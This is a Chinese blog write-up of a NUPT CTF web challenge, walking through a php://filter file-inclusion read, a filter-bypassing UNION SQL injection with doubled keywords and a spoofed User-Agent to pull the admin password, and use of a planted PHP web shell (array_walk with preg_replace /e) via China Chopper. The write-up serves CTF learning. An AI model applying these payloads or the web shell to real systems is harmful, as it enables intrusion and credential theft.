南邮ctf之web之综合题2
综合题2
这题拿来一看没有下手点!!!

里面有个本cms说明点进去看一下!!

说了一些页面
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档
去访问一下!发现 config.php这个是被过滤的!!
但是看url是发现一个http://cms.nuptzj.cn/about.php?file=sm.txt
有个file,所以我在想是不是有文件包含,尝试一下!!

发现是有的,刚好最近又在看文件上传伪协议,刚好用到了convert.base64-encode,用base64打包index.php,将index.php中的php代码给弄下来!!!
这就不说了,下面打包下来的全部代码在 nctf-综合题2.php 中,主要用
http://cms.nuptzj.cn/about.php?file=php://filter/read/convert.base64-encode/resource=index.php
其他页面自己弄,在用kali将base64解码,或者自己用base64解码工具都可以的!!
主要有几个重要的页面,主要说这几个!!
//about.php <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php $file=$_GET['file']; if($file=="" || strstr($file,'config.php')){ echo "file参数不能为空!"; exit(); }else{ $cut=strchr($file,"loginxlcteam");//这是个目录,所以终于找到突破点了!!加油! if($cut==false){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>"; } ?>
一开始大致看了一遍没到这个个,还有个目录,然后去访问这个!!
发现是个后台登录,然后直接用万能密码等一下!!!发现没用,在尝试有没有sql注入,发现用户名为admin是,会说密码不正确,输入别的用户发现用户名不正确,我第一反应就是去用bp爆破,但是想想算了,因为爆破很难,字典强大还需要很多时间!!!
所以就注入,用sqlmap还有手注都不行,没有注入点,有点崩溃!在去看了一下爬下来的代码,终于发现一个 so.php这个是有注入漏洞的!! 也就是那个留言搜索!!
/
//so.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ //忽略了 这个 echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; //("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=")这个是他过滤的正则!!!所以antiinject.php这个就不在说了!! include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> 然后又发现sm.txt给你找个数据库和表名还有字段名! create table admin ( id integer, username text, userpass text, )
username text,
userpass text,
)
现在知道几个字段,所以主要就是进行注入,在注入过程中发现一个问题,怪自己没看清楚!!!当中有个if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ //忽略了 这个
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; 我给忽略了,所以真没构造payload都没用!!!废话不说上bp!因为需要帮他的头有个参数需要修改为Xlcteam Browser
User-Agent:Xlcteam Browser


下面主要看正则过滤什么了!!!如果这个要是黑盒测试,我感觉可以注到死!!!
因为已经知道正则过滤什么了,直接说他没过滤什么~
第一:他没过滤双写!!所以里面的一些函数什么都可以双写绕过!!!
第二个:因为他过滤了‘-’ ‘=’,所以我们在构造and时就不能and 1=1或者1=2了,但是我们可以用 soid=1 and 0这也可以有报错信息回显出来的!!
所以不多说直接上
payload:soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,2,3,4
看他的回显字段!

发现时2,3字段!
我们在sm.txt中时知道他的数据库中的表,表中的字段的!所以直接构造了!
Payload:soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userpapassss)/**/ffromrom/**/aadmindmin),3,4

是个ascii值,直接去看吧!
102 117 99 107 114 117 110 116 117
f u c k r u n t u
fuckruntu
这样直接去那个后台登录!

发现登录成功!!
但是还是没拿到flag!!
在看他说了网站根目录中放了小马!在去利用file包含漏洞将xlcteam.php
这个php代码给爬下来!
//xlcteam.php <?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); //菜刀连接用法 //url?www=preg_replace //密码:wtf ?>
爬下来过后,发现不会用,在去找一下用法,百度了array_walk函数,这个是数组,看完过后用www=system,密码wtf,发现不行的!再去百度!https://blog.csdn.net/u014549283/article/details/81842084在这个博客中提到了!!!为什么我们用system不行,因为还是那个函数,array_walk这个是数组,所以需要用preg_replace这个函数,这个也是数组可以反应出来的!
所以直接用菜刀连接!


这个再nctf中还是比较全面的,挺不错的!

浙公网安备 33010602011771号